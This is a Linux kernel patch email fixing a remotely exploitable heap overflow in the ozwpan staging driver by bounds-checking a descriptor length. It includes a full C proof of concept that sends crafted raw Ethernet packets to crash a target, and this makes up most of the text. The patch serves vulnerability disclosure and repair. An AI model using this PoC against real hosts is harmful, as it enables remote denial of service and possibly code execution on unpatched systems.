[PATCH 1/4] ozwpan: Use proper check to prevent heap overflow

["Jason A. Donenfeld" <Jason () zx2c4 com>]

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
        if (c >= '0' && c <= '9')
                return c - '0';
        if (c >= 'a' && c <= 'f')
                return c - 'a' + 10;
        if (c >= 'A' && c <= 'F')
                return c - 'A' + 10;
        return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
        int i;
        for (i = 0; i < 6; i++) {
                int a, b;
                a = hex2num(*txt++);
                if (a < 0)
                        return -1;
                b = hex2num(*txt++);
                if (b < 0)
                        return -1;
                *addr++ = (a << 4) | b;
                if (i < 5 && *txt++ != ':')
                        return -1;
        }
        return 0;
}

int main(int argc, char *argv[])
{
        if (argc < 3) {
                fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
                return 1;
        }

        uint8_t dest_mac[6];
        if (hwaddr_aton(argv[2], dest_mac)) {
                fprintf(stderr, "Invalid mac address.\n");
                return 1;
        }

        int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
        if (sockfd < 0) {
                perror("socket");
                return 1;
        }

        struct ifreq if_idx;
        int interface_index;
        strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
        if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
                perror("SIOCGIFINDEX");
                return 1;
        }
        interface_index = if_idx.ifr_ifindex;
        if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
                perror("SIOCGIFHWADDR");
                return 1;
        }
        uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

        struct {
                struct ether_header ether_header;
                struct oz_hdr oz_hdr;
                struct oz_elt oz_elt;
                struct oz_elt_connect_req oz_elt_connect_req;
        } __packed connect_packet = {
                .ether_header = {
                        .ether_type = htons(OZ_ETHERTYPE),
                        .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
                        .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
                },
                .oz_hdr = {
                        .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
                        .last_pkt_num = 0,
                        .pkt_num = htole32(0)
                },
                .oz_elt = {
                        .type = OZ_ELT_CONNECT_REQ,
                        .length = sizeof(struct oz_elt_connect_req)
                },
                .oz_elt_connect_req = {
                        .mode = 0,
                        .resv1 = {0},
                        .pd_info = 0,
                        .session_id = 0,
                        .presleep = 35,
                        .ms_isoc_latency = 0,
                        .host_vendor = 0,
                        .keep_alive = 0,
                        .apps = htole16((1 << OZ_APPID_USB) | 0x1),
                        .max_len_div16 = 0,
                        .ms_per_isoc = 0,
                        .up_audio_buf = 0,
                        .ms_per_elt = 0
                }
        };

        struct {
                struct ether_header ether_header;
                struct oz_hdr oz_hdr;
                struct oz_elt oz_elt;
                struct oz_get_desc_rsp oz_get_desc_rsp;
        } __packed pwn_packet = {
                .ether_header = {
                        .ether_type = htons(OZ_ETHERTYPE),
                        .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
                        .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
                },
                .oz_hdr = {
                        .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
                        .last_pkt_num = 0,
                        .pkt_num = htole32(1)
                },
                .oz_elt = {
                        .type = OZ_ELT_APP_DATA,
                        .length = sizeof(struct oz_get_desc_rsp) - 2
                },
                .oz_get_desc_rsp = {
                        .app_id = OZ_APPID_USB,
                        .elt_seq_num = 0,
                        .type = OZ_GET_DESC_RSP,
                        .req_id = 0,
                        .offset = htole16(0),
                        .total_size = htole16(0),
                        .rcode = 0,
                        .data = {0}
                }
        };

        struct sockaddr_ll socket_address = {
                .sll_ifindex = interface_index,
                .sll_halen = ETH_ALEN,
                .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
        };

        if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, 
sizeof(socket_address)) < 0) {
                perror("sendto");
                return 1;
        }
        usleep(300000);
        if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, 
sizeof(socket_address)) < 0) {
                perror("sendto");
                return 1;
        }
        return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason () zx2c4 com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
        case OZ_GET_DESC_RSP: {
                        struct oz_get_desc_rsp *body =
                                (struct oz_get_desc_rsp *)usb_hdr;
-                       int data_len = elt->length -
+                       u8 data_len = elt->length -
                                        sizeof(struct oz_get_desc_rsp) + 1;
+                       if (data_len > elt->length)
+                               break;
                        u16 offs = le16_to_cpu(get_unaligned(&body->offset));
                        u16 total_size =
                                le16_to_cpu(get_unaligned(&body->total_size));
-- 
2.3.6